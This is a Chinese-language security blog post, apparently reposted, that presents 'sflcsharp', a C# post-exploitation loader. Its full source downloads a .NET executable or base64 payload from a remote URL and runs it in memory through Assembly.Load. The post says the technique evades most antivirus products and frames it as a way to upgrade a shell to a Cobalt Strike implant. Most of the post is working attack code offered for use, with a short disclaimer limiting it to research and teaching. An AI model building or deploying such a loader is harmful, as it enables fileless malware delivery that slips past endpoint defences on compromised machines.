原创作者:Shanfenglan7,一个刚步入安全行业的人,乐意分享技术,乐意接受批评,乐意交流。希望自己能把抽象的技术用尽量具体的语言讲出来,让每个人都能看懂,并觉得简单。最后希望大家可以关注我的博客:shanfenglan.blog.csdn.net
目录
前言
免杀效果
执行效果
代码详解
原理解释
前言
拿到一台主机的shell后,我们一般会想办法“升级”shell,最常见的是上传一个CS的木马,这样对我们的后渗透工作会十分方便。
代码实现:sflcsharp
免杀效果
绝大多数都是不查杀的
执行效果
我们提前在ip为10.92.52.27的主机上传了两个文件,一个为helloworld.exe,一个是此文件的base64密文形式。此exe文件执行效果为在命令输出fffffff,如下图所示:
这时候使用sflcsharp的-b参数来加载远程的c#语言的exe文件:
使用-b64参数来加载远程的b64密文:
代码详解
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System;
using System.IO;
using System.Net;
using System.Linq;
using System.Reflection;
namespace demo1
{
class Program
{
static void Main(string[] args)
{
string fileDownloadurl = null;
string filedownloadtype = null;
byte[] filebuffer = null;
try
{
fileDownloadurl = args[1];
filedownloadtype = args[0];
}
catch
{
Console.WriteLine("n加载远程exe文件到内存执行:sflcsharp.exe -b exe文件的url");
Console.WriteLine("n加载远程base64密文文件到内存执行:为sflcsharp.exe -b64 b64文件的url");
Environment.Exit(0);
}
if (filedownloadtype == "-b")
{
filebuffer = Downloadbinarypefilebyhttp(fileDownloadurl);
}
if (filedownloadtype == "-b64")
{
filebuffer = downloadbase64(fileDownloadurl);
}
if (filebuffer != null)
{
Console.WriteLine("正在将下载下来的程序加载到当前用户的内存中");
Assembly assemblyinstance = Assembly.Load(filebuffer); //将下载下来的程序加载到当前用户的内存中
Console.WriteLine("正在寻找程序入口点并执行程序");
assemblyinstance.EntryPoint.Invoke(null,new object[] { null}); //找到程序的入口点并执行程序
Console.WriteLine("n程序执行完毕");
}
}
public static byte[] Downloadbinarypefilebyhttp(string url)
{
Console.WriteLine("n创建WebClient类用来下载PE文件");
WebClient downloadwebclient = new WebClient(); //这个类可以从指定url上下载或者上传数据
Console.WriteLine("n下载文件后自动保存为byte[]格式n");
byte[] test = downloadwebclient.DownloadData(url);
return test;
}
public static byte[] downloadbase64(string url)
{
Console.WriteLine("n创建WebClient类用来下载base64密文文件,下载到的数据按照字符串格式保存在内存");
WebClient downloadwebclient = new WebClient(); //这个类可以从指定url上下载或者上传数据
string b64 = downloadwebclient.DownloadString(url);
Console.WriteLine("将base64字符串转换为byte[]类型的数据");
byte[] test = Convert.FromBase64String(b64);
return test;
}
}
}
原理解释
windows的.NET框架其中有一个类为assembly类。这个类可以家在byte[]类型的数据到内存中并当作一个assembly文件去执行。assembly文件就是c#写的dll文件与exe文件。然而还有函数可以将远程的exe文件下载到本地并用byte[]格式去保存。这两个方式结合后就可以实现下载远程c#文件到内存中直接执行,可以绕过绝大多数杀软。
扫描关注乌云安全
觉得不错点个“赞”、“在看”哦
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论